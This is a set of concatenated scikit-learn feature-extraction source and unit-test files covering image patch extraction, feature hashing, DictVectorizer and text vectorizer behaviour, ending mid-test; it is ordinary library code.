def _compute_n_patches(i_h, i_w, p_h, p_w, max_patches=None):
    """Compute the number of patches that will be extracted in an image.

    Read more in the :ref:`User Guide <image_feature_extraction>`.

    Parameters
    ----------
    i_h : int
        The image height
    i_w : int
        The image with
    p_h : int
        The height of a patch
    p_w : int
        The width of a patch
    max_patches : integer or float, optional default is None
        The maximum number of patches to extract. If max_patches is a float
        between 0 and 1, it is taken to be a proportion of the total number
        of patches.
    """
    n_h = i_h - p_h + 1
    n_w = i_w - p_w + 1
    all_patches = n_h * n_w

    if max_patches:
        if (isinstance(max_patches, (numbers.Integral))
                and max_patches < all_patches):
            return max_patches
        elif (isinstance(max_patches, (numbers.Real))
                and 0 < max_patches < 1):
            return int(max_patches * all_patches)
        else:
            raise ValueError("Invalid value for max_patches: %r" % max_patches)
    else:
        return all_patches


def extract_patches(arr, patch_shape=8, extraction_step=1):
    """Extracts patches of any n-dimensional array in place using strides.

    Given an n-dimensional array it will return a 2n-dimensional array with
    the first n dimensions indexing patch position and the last n indexing
    the patch content. This operation is immediate (O(1)). A reshape
    performed on the first n dimensions will cause numpy to copy data, leading
    to a list of extracted patches.

    Read more in the :ref:`User Guide <image_feature_extraction>`.

    Parameters
    ----------
    arr : ndarray
        n-dimensional array of which patches are to be extracted

    patch_shape : integer or tuple of length arr.ndim
        Indicates the shape of the patches to be extracted. If an
        integer is given, the shape will be a hypercube of
        sidelength given by its value.

    extraction_step : integer or tuple of length arr.ndim
        Indicates step size at which extraction shall be performed.
        If integer is given, then the step is uniform in all dimensions.


    Returns
    -------
    patches : strided ndarray
        2n-dimensional array indexing patches on first n dimensions and
        containing patches on the last n dimensions. These dimensions
        are fake, but this way no data is copied. A simple reshape invokes
        a copying operation to obtain a list of patches:
        result.reshape([-1] + list(patch_shape))
    """

    arr_ndim = arr.ndim

    if isinstance(patch_shape, numbers.Number):
        patch_shape = tuple([patch_shape] * arr_ndim)
    if isinstance(extraction_step, numbers.Number):
        extraction_step = tuple([extraction_step] * arr_ndim)

    patch_strides = arr.strides

    slices = [slice(None, None, st) for st in extraction_step]
    indexing_strides = arr[slices].strides

    patch_indices_shape = ((np.array(arr.shape) - np.array(patch_shape)) //
                           np.array(extraction_step)) + 1

    shape = tuple(list(patch_indices_shape) + list(patch_shape))
    strides = tuple(list(indexing_strides) + list(patch_strides))

    patches = as_strided(arr, shape=shape, strides=strides)
    return patches


def extract_patches_2d(image, patch_size, max_patches=None, random_state=None):
    """Reshape a 2D image into a collection of patches

    The resulting patches are allocated in a dedicated array.

    Read more in the :ref:`User Guide <image_feature_extraction>`.

    Parameters
    ----------
    image : array, shape = (image_height, image_width) or
        (image_height, image_width, n_channels)
        The original image data. For color images, the last dimension specifies
        the channel: a RGB image would have `n_channels=3`.

    patch_size : tuple of ints (patch_height, patch_width)
        the dimensions of one patch

    max_patches : integer or float, optional default is None
        The maximum number of patches to extract. If max_patches is a float
        between 0 and 1, it is taken to be a proportion of the total number
        of patches.

    random_state : int or RandomState
        Pseudo number generator state used for random sampling to use if
        `max_patches` is not None.

    Returns
    -------
    patches : array, shape = (n_patches, patch_height, patch_width) or
         (n_patches, patch_height, patch_width, n_channels)
         The collection of patches extracted from the image, where `n_patches`
         is either `max_patches` or the total number of patches that can be
         extracted.

    Examples
    --------

    >>> from sklearn.feature_extraction import image
    >>> one_image = np.arange(16).reshape((4, 4))
    >>> one_image
    array([[ 0,  1,  2,  3],
           [ 4,  5,  6,  7],
           [ 8,  9, 10, 11],
           [12, 13, 14, 15]])
    >>> patches = image.extract_patches_2d(one_image, (2, 2))
    >>> print(patches.shape)
    (9, 2, 2)
    >>> patches[0]
    array([[0, 1],
           [4, 5]])
    >>> patches[1]
    array([[1, 2],
           [5, 6]])
    >>> patches[8]
    array([[10, 11],
           [14, 15]])
    """
    i_h, i_w = image.shape[:2]
    p_h, p_w = patch_size

    if p_h > i_h:
        raise ValueError("Height of the patch should be less than the height"
                         " of the image.")

    if p_w > i_w:
        raise ValueError("Width of the patch should be less than the width"
                         " of the image.")

    image = check_array(image, allow_nd=True)
    image = image.reshape((i_h, i_w, -1))
    n_colors = image.shape[-1]

    extracted_patches = extract_patches(image,
                                        patch_shape=(p_h, p_w, n_colors),
                                        extraction_step=1)

    n_patches = _compute_n_patches(i_h, i_w, p_h, p_w, max_patches)
    if max_patches:
        rng = check_random_state(random_state)
        i_s = rng.randint(i_h - p_h + 1, size=n_patches)
        j_s = rng.randint(i_w - p_w + 1, size=n_patches)
        patches = extracted_patches[i_s, j_s, 0]
    else:
        patches = extracted_patches

    patches = patches.reshape(-1, p_h, p_w, n_colors)
    # remove the color dimension if useless
    if patches.shape[-1] == 1:
        return patches.reshape((n_patches, p_h, p_w))
    else:
        return patches


def reconstruct_from_patches_2d(patches, image_size):
    """Reconstruct the image from all of its patches.

    Patches are assumed to overlap and the image is constructed by filling in
    the patches from left to right, top to bottom, averaging the overlapping
    regions.

    Read more in the :ref:`User Guide <image_feature_extraction>`.

    Parameters
    ----------
    patches : array, shape = (n_patches, patch_height, patch_width) or
        (n_patches, patch_height, patch_width, n_channels)
        The complete set of patches. If the patches contain colour information,
        channels are indexed along the last dimension: RGB patches would
        have `n_channels=3`.

    image_size : tuple of ints (image_height, image_width) or
        (image_height, image_width, n_channels)
        the size of the image that will be reconstructed

    Returns
    -------
    image : array, shape = image_size
        the reconstructed image

    """
    i_h, i_w = image_size[:2]
    p_h, p_w = patches.shape[1:3]
    img = np.zeros(image_size)
    # compute the dimensions of the patches array
    n_h = i_h - p_h + 1
    n_w = i_w - p_w + 1
    for p, (i, j) in zip(patches, product(range(n_h), range(n_w))):
        img[i:i + p_h, j:j + p_w] += p

    for i in range(i_h):
        for j in range(i_w):
            # divide by the amount of overlap
            # XXX: is this the most efficient way? memory-wise yes, cpu wise?
            img[i, j] /= float(min(i + 1, p_h, i_h - i) *
                               min(j + 1, p_w, i_w - j))
    return img


class PatchExtractor(BaseEstimator):
    """Extracts patches from a collection of images

    Read more in the :ref:`User Guide <image_feature_extraction>`.

    Parameters
    ----------
    patch_size : tuple of ints (patch_height, patch_width)
        the dimensions of one patch

    max_patches : integer or float, optional default is None
        The maximum number of patches per image to extract. If max_patches is a
        float in (0, 1), it is taken to mean a proportion of the total number
        of patches.

    random_state : int or RandomState
        Pseudo number generator state used for random sampling.

    """
    def __init__(self, patch_size=None, max_patches=None, random_state=None):
        self.patch_size = patch_size
        self.max_patches = max_patches
        self.random_state = random_state

    def fit(self, X, y=None):
        """Do nothing and return the estimator unchanged

        This method is just there to implement the usual API and hence
        work in pipelines.
        """
        return self

    def transform(self, X):
        """Transforms the image samples in X into a matrix of patch data.

        Parameters
        ----------
        X : array, shape = (n_samples, image_height, image_width) or
            (n_samples, image_height, image_width, n_channels)
            Array of images from which to extract patches. For color images,
            the last dimension specifies the channel: a RGB image would have
            `n_channels=3`.

        Returns
        -------
        patches: array, shape = (n_patches, patch_height, patch_width) or
             (n_patches, patch_height, patch_width, n_channels)
             The collection of patches extracted from the images, where
             `n_patches` is either `n_samples * max_patches` or the total
             number of patches that can be extracted.

        """
        self.random_state = check_random_state(self.random_state)
        n_images, i_h, i_w = X.shape[:3]
        X = np.reshape(X, (n_images, i_h, i_w, -1))
        n_channels = X.shape[-1]
        if self.patch_size is None:
            patch_size = i_h // 10, i_w // 10
        else:
            patch_size = self.patch_size

        # compute the dimensions of the patches array
        p_h, p_w = patch_size
        n_patches = _compute_n_patches(i_h, i_w, p_h, p_w, self.max_patches)
        patches_shape = (n_images * n_patches,) + patch_size
        if n_channels > 1:
            patches_shape += (n_channels,)

        # extract the patches
        patches = np.empty(patches_shape)
        for ii, image in enumerate(X):
            patches[ii * n_patches:(ii + 1) * n_patches] = extract_patches_2d(
                image, patch_size, self.max_patches, self.random_state)
        return patches






from __future__ import unicode_literals

import numpy as np

from sklearn.feature_extraction import FeatureHasher

from nose.tools import assert_raises, assert_true
from numpy.testing import assert_array_equal, assert_equal


def test_feature_hasher_dicts():
    h = FeatureHasher(n_features=16)
    assert_equal("dict", h.input_type)

    raw_X = [{"foo": "bar", "dada": 42, "tzara": 37},
             {"foo": "baz", "gaga": u"string1"}]
    X1 = FeatureHasher(n_features=16).transform(raw_X)
    gen = (iter(d.items()) for d in raw_X)
    X2 = FeatureHasher(n_features=16, input_type="pair").transform(gen)
    assert_array_equal(X1.toarray(), X2.toarray())


def test_feature_hasher_strings():
    # mix byte and Unicode strings; note that "foo" is a duplicate in row 0
    raw_X = [["foo", "bar", "baz", "foo".encode("ascii")],
             ["bar".encode("ascii"), "baz", "quux"]]

    for lg_n_features in (7, 9, 11, 16, 22):
        n_features = 2 ** lg_n_features

        it = (x for x in raw_X)                 # iterable

        h = FeatureHasher(n_features, non_negative=True, input_type="string")
        X = h.transform(it)

        assert_equal(X.shape[0], len(raw_X))
        assert_equal(X.shape[1], n_features)

        assert_true(np.all(X.data > 0))
        assert_equal(X[0].sum(), 4)
        assert_equal(X[1].sum(), 3)

        assert_equal(X.nnz, 6)


def test_feature_hasher_pairs():
    raw_X = (iter(d.items()) for d in [{"foo": 1, "bar": 2},
                                       {"baz": 3, "quux": 4, "foo": -1}])
    h = FeatureHasher(n_features=16, input_type="pair")
    x1, x2 = h.transform(raw_X).toarray()
    x1_nz = sorted(np.abs(x1[x1 != 0]))
    x2_nz = sorted(np.abs(x2[x2 != 0]))
    assert_equal([1, 2], x1_nz)
    assert_equal([1, 3, 4], x2_nz)


def test_feature_hasher_pairs_with_string_values():
    raw_X = (iter(d.items()) for d in [{"foo": 1, "bar": "a"},
                                       {"baz": u"abc", "quux": 4, "foo": -1}])
    h = FeatureHasher(n_features=16, input_type="pair")
    x1, x2 = h.transform(raw_X).toarray()
    x1_nz = sorted(np.abs(x1[x1 != 0]))
    x2_nz = sorted(np.abs(x2[x2 != 0]))
    assert_equal([1, 1], x1_nz)
    assert_equal([1, 1, 4], x2_nz)

    raw_X = (iter(d.items()) for d in [{"bax": "abc"},
                                       {"bax": "abc"}])
    x1, x2 = h.transform(raw_X).toarray()
    x1_nz = np.abs(x1[x1 != 0])
    x2_nz = np.abs(x2[x2 != 0])
    assert_equal([1], x1_nz)
    assert_equal([1], x2_nz)
    assert_equal(x1, x2)


def test_hash_empty_input():
    n_features = 16
    raw_X = [[], (), iter(range(0))]

    h = FeatureHasher(n_features=n_features, input_type="string")
    X = h.transform(raw_X)

    assert_array_equal(X.A, np.zeros((len(raw_X), n_features)))


def test_hasher_invalid_input():
    assert_raises(ValueError, FeatureHasher, input_type="gobbledygook")
    assert_raises(ValueError, FeatureHasher, n_features=-1)
    assert_raises(ValueError, FeatureHasher, n_features=0)
    assert_raises(TypeError, FeatureHasher, n_features='ham')

    h = FeatureHasher(n_features=np.uint16(2 ** 6))
    assert_raises(ValueError, h.transform, [])
    assert_raises(Exception, h.transform, [[5.5]])
    assert_raises(Exception, h.transform, [[None]])


def test_hasher_set_params():
    # Test delayed input validation in fit (useful for grid search).
    hasher = FeatureHasher()
    hasher.set_params(n_features=np.inf)
    assert_raises(TypeError, hasher.fit)


def test_hasher_zeros():
    # Assert that no zeros are materialized in the output.
    X = FeatureHasher().transform([{'foo': 0}])
    assert_equal(X.data.shape, (0,))






# Authors: Lars Buitinck
#          Dan Blanchard <dblanchard@ets.org>
# License: BSD 3 clause

from random import Random
import numpy as np
import scipy.sparse as sp

from numpy.testing import assert_array_equal
from sklearn.utils.testing import (assert_equal, assert_in,
                                   assert_false, assert_true)

from sklearn.feature_extraction import DictVectorizer
from sklearn.feature_selection import SelectKBest, chi2


def test_dictvectorizer():
    D = [{"foo": 1, "bar": 3},
         {"bar": 4, "baz": 2},
         {"bar": 1, "quux": 1, "quuux": 2}]

    for sparse in (True, False):
        for dtype in (int, np.float32, np.int16):
            for sort in (True, False):
                for iterable in (True, False):
                    v = DictVectorizer(sparse=sparse, dtype=dtype, sort=sort)
                    X = v.fit_transform(iter(D) if iterable else D)

                    assert_equal(sp.issparse(X), sparse)
                    assert_equal(X.shape, (3, 5))
                    assert_equal(X.sum(), 14)
                    assert_equal(v.inverse_transform(X), D)

                    if sparse:
                        # CSR matrices can't be compared for equality
                        assert_array_equal(X.A, v.transform(iter(D) if iterable
                                                            else D).A)
                    else:
                        assert_array_equal(X, v.transform(iter(D) if iterable
                                                          else D))

                    if sort:
                        assert_equal(v.feature_names_,
                                     sorted(v.feature_names_))


def test_feature_selection():
    # make two feature dicts with two useful features and a bunch of useless
    # ones, in terms of chi2
    d1 = dict([("useless%d" % i, 10) for i in range(20)],
              useful1=1, useful2=20)
    d2 = dict([("useless%d" % i, 10) for i in range(20)],
              useful1=20, useful2=1)

    for indices in (True, False):
        v = DictVectorizer().fit([d1, d2])
        X = v.transform([d1, d2])
        sel = SelectKBest(chi2, k=2).fit(X, [0, 1])

        v.restrict(sel.get_support(indices=indices), indices=indices)
        assert_equal(v.get_feature_names(), ["useful1", "useful2"])


def test_one_of_k():
    D_in = [{"version": "1", "ham": 2},
            {"version": "2", "spam": .3},
            {"version=3": True, "spam": -1}]
    v = DictVectorizer()
    X = v.fit_transform(D_in)
    assert_equal(X.shape, (3, 5))

    D_out = v.inverse_transform(X)
    assert_equal(D_out[0], {"version=1": 1, "ham": 2})

    names = v.get_feature_names()
    assert_true("version=2" in names)
    assert_false("version" in names)


def test_unseen_or_no_features():
    D = [{"camelot": 0, "spamalot": 1}]
    for sparse in [True, False]:
        v = DictVectorizer(sparse=sparse).fit(D)

        X = v.transform({"push the pram a lot": 2})
        if sparse:
            X = X.toarray()
        assert_array_equal(X, np.zeros((1, 2)))

        X = v.transform({})
        if sparse:
            X = X.toarray()
        assert_array_equal(X, np.zeros((1, 2)))

        try:
            v.transform([])
        except ValueError as e:
            assert_in("empty", str(e))


def test_deterministic_vocabulary():
    # Generate equal dictionaries with different memory layouts
    items = [("%03d" % i, i) for i in range(1000)]
    rng = Random(42)
    d_sorted = dict(items)
    rng.shuffle(items)
    d_shuffled = dict(items)

    # check that the memory layout does not impact the resulting vocabulary
    v_1 = DictVectorizer().fit([d_sorted])
    v_2 = DictVectorizer().fit([d_shuffled])

    assert_equal(v_1.vocabulary_, v_2.vocabulary_)






# Authors: Emmanuelle Gouillart <emmanuelle.gouillart@normalesup.org>
#          Gael Varoquaux <gael.varoquaux@normalesup.org>
# License: BSD 3 clause

import numpy as np
import scipy as sp
from scipy import ndimage

from nose.tools import assert_equal, assert_true
from numpy.testing import assert_raises

from sklearn.feature_extraction.image import (
    img_to_graph, grid_to_graph, extract_patches_2d,
    reconstruct_from_patches_2d, PatchExtractor, extract_patches)
from sklearn.utils.graph import connected_components
from sklearn.utils.testing import SkipTest
from sklearn.utils.fixes import sp_version

if sp_version < (0, 12):
    raise SkipTest("Skipping because SciPy version earlier than 0.12.0 and "
                   "thus does not include the scipy.misc.face() image.")


def test_img_to_graph():
    x, y = np.mgrid[:4, :4] - 10
    grad_x = img_to_graph(x)
    grad_y = img_to_graph(y)
    assert_equal(grad_x.nnz, grad_y.nnz)
    # Negative elements are the diagonal: the elements of the original
    # image. Positive elements are the values of the gradient, they
    # should all be equal on grad_x and grad_y
    np.testing.assert_array_equal(grad_x.data[grad_x.data > 0],
                                  grad_y.data[grad_y.data > 0])


def test_grid_to_graph():
    # Checking that the function works with graphs containing no edges
    size = 2
    roi_size = 1
    # Generating two convex parts with one vertex
    # Thus, edges will be empty in _to_graph
    mask = np.zeros((size, size), dtype=np.bool)
    mask[0:roi_size, 0:roi_size] = True
    mask[-roi_size:, -roi_size:] = True
    mask = mask.reshape(size ** 2)
    A = grid_to_graph(n_x=size, n_y=size, mask=mask, return_as=np.ndarray)
    assert_true(connected_components(A)[0] == 2)

    # Checking that the function works whatever the type of mask is
    mask = np.ones((size, size), dtype=np.int16)
    A = grid_to_graph(n_x=size, n_y=size, n_z=size, mask=mask)
    assert_true(connected_components(A)[0] == 1)

    # Checking dtype of the graph
    mask = np.ones((size, size))
    A = grid_to_graph(n_x=size, n_y=size, n_z=size, mask=mask, dtype=np.bool)
    assert_true(A.dtype == np.bool)
    A = grid_to_graph(n_x=size, n_y=size, n_z=size, mask=mask, dtype=np.int)
    assert_true(A.dtype == np.int)
    A = grid_to_graph(n_x=size, n_y=size, n_z=size, mask=mask,
                      dtype=np.float64)
    assert_true(A.dtype == np.float64)


def test_connect_regions():
    try:
        face = sp.face(gray=True)
    except AttributeError:
        # Newer versions of scipy have face in misc
        from scipy import misc
        face = misc.face(gray=True)
    for thr in (50, 150):
        mask = face > thr
        graph = img_to_graph(face, mask)
        assert_equal(ndimage.label(mask)[1], connected_components(graph)[0])


def test_connect_regions_with_grid():
    try:
        face = sp.face(gray=True)
    except AttributeError:
        # Newer versions of scipy have face in misc
        from scipy import misc
        face = misc.face(gray=True)
    mask = face > 50
    graph = grid_to_graph(*face.shape, mask=mask)
    assert_equal(ndimage.label(mask)[1], connected_components(graph)[0])

    mask = face > 150
    graph = grid_to_graph(*face.shape, mask=mask, dtype=None)
    assert_equal(ndimage.label(mask)[1], connected_components(graph)[0])


def _downsampled_face():
    try:
        face = sp.face(gray=True)
    except AttributeError:
        # Newer versions of scipy have face in misc
        from scipy import misc
        face = misc.face(gray=True)
    face = face.astype(np.float32)
    face = (face[::2, ::2] + face[1::2, ::2] + face[::2, 1::2]
            + face[1::2, 1::2])
    face = (face[::2, ::2] + face[1::2, ::2] + face[::2, 1::2]
            + face[1::2, 1::2])
    face = face.astype(np.float32)
    face /= 16.0
    return face


def _orange_face(face=None):
    face = _downsampled_face() if face is None else face
    face_color = np.zeros(face.shape + (3,))
    face_color[:, :, 0] = 256 - face
    face_color[:, :, 1] = 256 - face / 2
    face_color[:, :, 2] = 256 - face / 4
    return face_color


def _make_images(face=None):
    face = _downsampled_face() if face is None else face
    # make a collection of faces
    images = np.zeros((3,) + face.shape)
    images[0] = face
    images[1] = face + 1
    images[2] = face + 2
    return images

downsampled_face = _downsampled_face()
orange_face = _orange_face(downsampled_face)
face_collection = _make_images(downsampled_face)


def test_extract_patches_all():
    face = downsampled_face
    i_h, i_w = face.shape
    p_h, p_w = 16, 16
    expected_n_patches = (i_h - p_h + 1) * (i_w - p_w + 1)
    patches = extract_patches_2d(face, (p_h, p_w))
    assert_equal(patches.shape, (expected_n_patches, p_h, p_w))


def test_extract_patches_all_color():
    face = orange_face
    i_h, i_w = face.shape[:2]
    p_h, p_w = 16, 16
    expected_n_patches = (i_h - p_h + 1) * (i_w - p_w + 1)
    patches = extract_patches_2d(face, (p_h, p_w))
    assert_equal(patches.shape, (expected_n_patches, p_h, p_w, 3))


def test_extract_patches_all_rect():
    face = downsampled_face
    face = face[:, 32:97]
    i_h, i_w = face.shape
    p_h, p_w = 16, 12
    expected_n_patches = (i_h - p_h + 1) * (i_w - p_w + 1)

    patches = extract_patches_2d(face, (p_h, p_w))
    assert_equal(patches.shape, (expected_n_patches, p_h, p_w))


def test_extract_patches_max_patches():
    face = downsampled_face
    i_h, i_w = face.shape
    p_h, p_w = 16, 16

    patches = extract_patches_2d(face, (p_h, p_w), max_patches=100)
    assert_equal(patches.shape, (100, p_h, p_w))

    expected_n_patches = int(0.5 * (i_h - p_h + 1) * (i_w - p_w + 1))
    patches = extract_patches_2d(face, (p_h, p_w), max_patches=0.5)
    assert_equal(patches.shape, (expected_n_patches, p_h, p_w))

    assert_raises(ValueError, extract_patches_2d, face, (p_h, p_w),
                  max_patches=2.0)
    assert_raises(ValueError, extract_patches_2d, face, (p_h, p_w),
                  max_patches=-1.0)


def test_reconstruct_patches_perfect():
    face = downsampled_face
    p_h, p_w = 16, 16

    patches = extract_patches_2d(face, (p_h, p_w))
    face_reconstructed = reconstruct_from_patches_2d(patches, face.shape)
    np.testing.assert_array_almost_equal(face, face_reconstructed)


def test_reconstruct_patches_perfect_color():
    face = orange_face
    p_h, p_w = 16, 16

    patches = extract_patches_2d(face, (p_h, p_w))
    face_reconstructed = reconstruct_from_patches_2d(patches, face.shape)
    np.testing.assert_array_almost_equal(face, face_reconstructed)


def test_patch_extractor_fit():
    faces = face_collection
    extr = PatchExtractor(patch_size=(8, 8), max_patches=100, random_state=0)
    assert_true(extr == extr.fit(faces))


def test_patch_extractor_max_patches():
    faces = face_collection
    i_h, i_w = faces.shape[1:3]
    p_h, p_w = 8, 8

    max_patches = 100
    expected_n_patches = len(faces) * max_patches
    extr = PatchExtractor(patch_size=(p_h, p_w), max_patches=max_patches,
                          random_state=0)
    patches = extr.transform(faces)
    assert_true(patches.shape == (expected_n_patches, p_h, p_w))

    max_patches = 0.5
    expected_n_patches = len(faces) * int((i_h - p_h + 1) * (i_w - p_w + 1)
                                          * max_patches)
    extr = PatchExtractor(patch_size=(p_h, p_w), max_patches=max_patches,
                          random_state=0)
    patches = extr.transform(faces)
    assert_true(patches.shape == (expected_n_patches, p_h, p_w))


def test_patch_extractor_max_patches_default():
    faces = face_collection
    extr = PatchExtractor(max_patches=100, random_state=0)
    patches = extr.transform(faces)
    assert_equal(patches.shape, (len(faces) * 100, 19, 25))


def test_patch_extractor_all_patches():
    faces = face_collection
    i_h, i_w = faces.shape[1:3]
    p_h, p_w = 8, 8
    expected_n_patches = len(faces) * (i_h - p_h + 1) * (i_w - p_w + 1)
    extr = PatchExtractor(patch_size=(p_h, p_w), random_state=0)
    patches = extr.transform(faces)
    assert_true(patches.shape == (expected_n_patches, p_h, p_w))


def test_patch_extractor_color():
    faces = _make_images(orange_face)
    i_h, i_w = faces.shape[1:3]
    p_h, p_w = 8, 8
    expected_n_patches = len(faces) * (i_h - p_h + 1) * (i_w - p_w + 1)
    extr = PatchExtractor(patch_size=(p_h, p_w), random_state=0)
    patches = extr.transform(faces)
    assert_true(patches.shape == (expected_n_patches, p_h, p_w, 3))


def test_extract_patches_strided():

    image_shapes_1D = [(10,), (10,), (11,), (10,)]
    patch_sizes_1D = [(1,), (2,), (3,), (8,)]
    patch_steps_1D = [(1,), (1,), (4,), (2,)]

    expected_views_1D = [(10,), (9,), (3,), (2,)]
    last_patch_1D = [(10,), (8,), (8,), (2,)]

    image_shapes_2D = [(10, 20), (10, 20), (10, 20), (11, 20)]
    patch_sizes_2D = [(2, 2), (10, 10), (10, 11), (6, 6)]
    patch_steps_2D = [(5, 5), (3, 10), (3, 4), (4, 2)]

    expected_views_2D = [(2, 4), (1, 2), (1, 3), (2, 8)]
    last_patch_2D = [(5, 15), (0, 10), (0, 8), (4, 14)]

    image_shapes_3D = [(5, 4, 3), (3, 3, 3), (7, 8, 9), (7, 8, 9)]
    patch_sizes_3D = [(2, 2, 3), (2, 2, 2), (1, 7, 3), (1, 3, 3)]
    patch_steps_3D = [(1, 2, 10), (1, 1, 1), (2, 1, 3), (3, 3, 4)]

    expected_views_3D = [(4, 2, 1), (2, 2, 2), (4, 2, 3), (3, 2, 2)]
    last_patch_3D = [(3, 2, 0), (1, 1, 1), (6, 1, 6), (6, 3, 4)]

    image_shapes = image_shapes_1D + image_shapes_2D + image_shapes_3D
    patch_sizes = patch_sizes_1D + patch_sizes_2D + patch_sizes_3D
    patch_steps = patch_steps_1D + patch_steps_2D + patch_steps_3D
    expected_views = expected_views_1D + expected_views_2D + expected_views_3D
    last_patches = last_patch_1D + last_patch_2D + last_patch_3D

    for (image_shape, patch_size, patch_step, expected_view,
         last_patch) in zip(image_shapes, patch_sizes, patch_steps,
                            expected_views, last_patches):
        image = np.arange(np.prod(image_shape)).reshape(image_shape)
        patches = extract_patches(image, patch_shape=patch_size,
                                  extraction_step=patch_step)

        ndim = len(image_shape)

        assert_true(patches.shape[:ndim] == expected_view)
        last_patch_slices = [slice(i, i + j, None) for i, j in
                             zip(last_patch, patch_size)]
        assert_true((patches[[slice(-1, None, None)] * ndim] ==
                    image[last_patch_slices].squeeze()).all())


def test_extract_patches_square():
    # test same patch size for all dimensions
    face = downsampled_face
    i_h, i_w = face.shape
    p = 8
    expected_n_patches = ((i_h - p + 1), (i_w - p + 1))
    patches = extract_patches(face, patch_shape=p)
    assert_true(patches.shape == (expected_n_patches[0], expected_n_patches[1],
                                  p, p))


def test_width_patch():
    # width and height of the patch should be less than the image
    x = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])
    assert_raises(ValueError, extract_patches_2d, x, (4, 1))
    assert_raises(ValueError, extract_patches_2d, x, (1, 4))












from __future__ import unicode_literals
import warnings

from sklearn.feature_extraction.text import strip_tags
from sklearn.feature_extraction.text import strip_accents_unicode
from sklearn.feature_extraction.text import strip_accents_ascii

from sklearn.feature_extraction.text import HashingVectorizer
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.feature_extraction.text import TfidfVectorizer

from sklearn.feature_extraction.text import ENGLISH_STOP_WORDS

from sklearn.model_selection import train_test_split
from sklearn.model_selection import cross_val_score
from sklearn.model_selection import GridSearchCV
from sklearn.pipeline import Pipeline
from sklearn.svm import LinearSVC

from sklearn.base import clone

import numpy as np
from nose import SkipTest
from nose.tools import assert_equal
from nose.tools import assert_false
from nose.tools import assert_not_equal
from nose.tools import assert_true
from nose.tools import assert_almost_equal
from numpy.testing import assert_array_almost_equal
from numpy.testing import assert_array_equal
from numpy.testing import assert_raises
from sklearn.utils.random import choice
from sklearn.utils.testing import (assert_in, assert_less, assert_greater,
                                   assert_warns_message, assert_raise_message,
                                   clean_warning_registry)

from collections import defaultdict, Mapping
from functools import partial
import pickle
from io import StringIO


JUNK_FOOD_DOCS = (
    "the pizza pizza beer copyright",
    "the pizza burger beer copyright",
    "the the pizza beer beer copyright",
    "the burger beer beer copyright",
    "the coke burger coke copyright",
    "the coke burger burger",
)

NOTJUNK_FOOD_DOCS = (
    "the salad celeri copyright",
    "the salad salad sparkling water copyright",
    "the the celeri celeri copyright",
    "the tomato tomato salad water",
    "the tomato salad water copyright",
)

ALL_FOOD_DOCS = JUNK_FOOD_DOCS + NOTJUNK_FOOD_DOCS


def uppercase(s):
    return strip_accents_unicode(s).upper()


def strip_eacute(s):
    return s.replace('\xe9', 'e')


def split_tokenize(s):
    return s.split()


def lazy_analyze(s):
    return ['the_ultimate_feature']


def test_strip_accents():
    # check some classical latin accentuated symbols
    a = '\xe0\xe1\xe2\xe3\xe4\xe5\xe7\xe8\xe9\xea\xeb'
    expected = 'aaaaaaceeee'
    assert_equal(strip_accents_unicode(a), expected)

    a = '\xec\xed\xee\xef\xf1\xf2\xf3\xf4\xf5\xf6\xf9\xfa\xfb\xfc\xfd'
    expected = 'iiiinooooouuuuy'
    assert_equal(strip_accents_unicode(a), expected)

    # check some arabic
    a = '\u0625'  # halef with a hamza below
    expected = '\u0627'  # simple halef
    assert_equal(strip_accents_unicode(a), expected)

    # mix letters accentuated and not
    a = "this is \xe0 test"
    expected = 'this is a test'
    assert_equal(strip_accents_unicode(a), expected)


def test_to_ascii():
    # check some classical latin accentuated symbols
    a = '\xe0\xe1\xe2\xe3\xe4\xe5\xe7\xe8\xe9\xea\xeb'
    expected = 'aaaaaaceeee'
    assert_equal(strip_accents_ascii(a), expected)

    a = '\xec\xed\xee\xef\xf1\xf2\xf3\xf4\xf5\xf6\xf9\xfa\xfb\xfc\xfd'
    expected = 'iiiinooooouuuuy'
    assert_equal(strip_accents_ascii(a), expected)

    # check some arabic
    a = '\u0625'  # halef with a hamza below
    expected = ''  # halef has no direct ascii match
    assert_equal(strip_accents_ascii(a), expected)

    # mix letters accentuated and not
    a = "this is \xe0 test"
    expected = 'this is a test'
    assert_equal(strip_accents_ascii(a), expected)


def test_word_analyzer_unigrams():
    for Vectorizer in (CountVectorizer, HashingVectorizer):
        wa = Vectorizer(strip_accents='ascii').build_analyzer()
        text = ("J'ai mang\xe9 du kangourou  ce midi, "
                "c'\xe9tait pas tr\xeas bon.")
        expected = ['ai', 'mange', 'du', 'kangourou', 'ce', 'midi',
                    'etait', 'pas', 'tres', 'bon']
        assert_equal(wa(text), expected)

        text = "This is a test, really.\n\n I met Harry yesterday."
        expected = ['this', 'is', 'test', 'really', 'met', 'harry',
                    'yesterday']
        assert_equal(wa(text), expected)

        wa = Vectorizer(input='file').build_analyzer()
        text = StringIO("This is a test with a file-like object!")
        expected = ['this', 'is', 'test', 'with', 'file', 'like',
                    'object']
        assert_equal(wa(text), expected)

        # with custom preprocessor
        wa = Vectorizer(preprocessor=uppercase).build_analyzer()
        text = ("J'ai mang\xe9 du kangourou  ce midi, "
                " c'\xe9tait pas tr\xeas bon.")
        expected = ['AI', 'MANGE', 'DU', 'KANGOUROU', 'CE', 'MIDI',
                    'ETAIT', 'PAS', 'TRES', 'BON']
        assert_equal(wa(text), expected)

        # with custom tokenizer
        wa = Vectorizer(tokenizer=split_tokenize,
                        strip_accents='ascii').build_analyzer()
        text = ("J'ai mang\xe9 du kangourou  ce midi, "
                "c'\xe9tait pas tr\xeas bon.")
        expected = ["j'ai", 'mange', 'du', 'kangourou', 'ce', 'midi,',
                    "c'etait", 'pas', 'tres', 'bon.']
        assert_equal(wa(text), expected)


def test_word_analyzer_unigrams_and_bigrams():
    wa = CountVectorizer(analyzer="word", strip_accents='unicode',
                         ngram_range=(1, 2)).build_analyzer()

    text = "J'ai mang\xe9 du kangourou  ce midi, c'\xe9tait pas tr\xeas bon."
    expected = ['ai', 'mange', 'du', 'kangourou', 'ce', 'midi',
                'etait', 'pas', 'tres', 'bon', 'ai mange', 'mange du',
                'du kangourou', 'kangourou ce', 'ce midi', 'midi etait',
                'etait pas', 'pas tres', 'tres bon']
    assert_equal(wa(text), expected)


def test_unicode_decode_error():
    # decode_error default to strict, so this should fail
    # First, encode (as bytes) a unicode string.
    text = "J'ai mang\xe9 du kangourou  ce midi, c'\xe9tait pas tr\xeas bon."
    text_bytes = text.encode('utf-8')

    # Then let the Analyzer try to decode it as ascii. It should fail,
